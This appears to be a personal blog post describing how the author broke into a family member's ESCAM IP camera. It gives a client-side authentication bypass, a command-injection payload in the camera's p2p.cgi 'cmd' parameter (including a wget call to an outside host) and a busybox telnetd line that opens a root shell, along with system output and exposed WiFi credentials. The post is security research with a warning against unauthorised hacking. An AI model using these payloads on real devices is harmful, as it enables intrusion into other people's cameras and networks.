Hacking an ESCAM IP Camera
My father recently got an ESCAM ip camera that he bought on Ebay. Having heard bad things about the security of these cameras before, I wanted to have a look at this one for myself.
It didn't take long before I found the first vulnerability. Without more than the Firefox developer tools, I got a hint, when the response for a failed login attempt was just:
var check = "0";
var authLevel = "0";
Could it really be as simple as changing the response, and setting the authLevel client side? I didn't do any more digging into the (horribly messy) Javascript files, and fired up Burp Suite's proxy instead. After turning on intercepting requests and responses, I tried to log in again, and changed check to "1" and authLevel to "255" (which was what I observed would happen after a valid login).
And as expected, it let me in.
After getting access to the admin panel, I started looking for more weaknesses. Before long, I noticed a cgi script called "p2p.cgi", that was called with a get parameter "cmd". I replaced the existing "cmd" value with a subshell (%24 is $ url encoded, so it's really $(ls)):
/cgi-bin/p2p.cgi?cmd=%24(ls)&-action=get
Hmm, no errors. Interesting. Next, I started a web server on my computer.
python -m http.server
Then I went back to the admin panel of the IP camera, and replaced the "cmd" with this (not URL encoded here for clarity):
$(wget http://[...]:8000/)
And then, I watched my Python server receive an incoming request:
python -m http.server
Serving HTTP on 0.0.0.0 port 8000 ...
[...] - - [06/May/2016 14:40:20] "GET / HTTP/1.1" 200 -
Shell injection, confirmed!
From there, I started running other commands to explore the file system, and specs of the computer inside.
After some poking around, I found out that I could just spawn busybox, and connect to it with telnet, to gain full access to the system as root. Injecting the following,
/bin/busybox telnetd -l/bin/sh -p 9090
I could simply run telnet [...] 9090, and BOOM! I was in. Here's some information about the system that you might find interesting:
# cat /proc/version
Linux version 3.0.8 (bt@vvvsvr) (gcc version 4.4.1 (Hisilicon_v100(gcc4.4-290+uclibc_0.9.32.1+eabi+linuxpthread)) ) #2 Thu Sep 18 00:48:29 CST 2014
# cat /proc/cpuinfo
Processor : ARM926EJ-S rev 5 (v5l)
BogoMIPS : 218.72
Features : swp half thumb fastmult edsp java
CPU implementer : 0x41
CPU architecture: 5TEJ
CPU variant : 0x0
CPU part : 0x926
CPU revision : 5
Hardware : hi3518
Revision : 0000
Serial : 0000000000000000
# df -h
Filesystem Size Used Available Use% Mounted on
/dev/root 11.3M 10.7M 588.0K 95% /
tmpfs 34.4M 4.0K 34.4M 0% /dev
tmpfs 3.0M 1.6M 1.4M 53% /tmpfs
tmpfs 9.0M 0 9.0M 0% /tmpfs2
/dev/mtdblock3 1.0M 324.0K 700.0K 32% /mnt/config
# free
total used free shared buffers
Mem: 70392 51448 18944 0 0
Swap: 0 0 0
Total: 70392 51448 18944
I hope you found this post interesting, but remember: Don't break into systems you don't own, or have permission to hack on!
This hack was carried out so that I could verify that the camera didn't connect to services outside our network, without us knowing. As long as you don't enable DDNS, and only use the camera locally, you should be safe (enough). I did not inspect the email scripts, ftp upload scripts or any of that, but I would avoid using them. Everything seems to be stored in plain text, and easily available, including your WiFi login. In fact the WiFi login is available by right clicking on the login page, going to "View source", and under /cgi-bin/getwifiattr.cgi.
The image quality is good, though.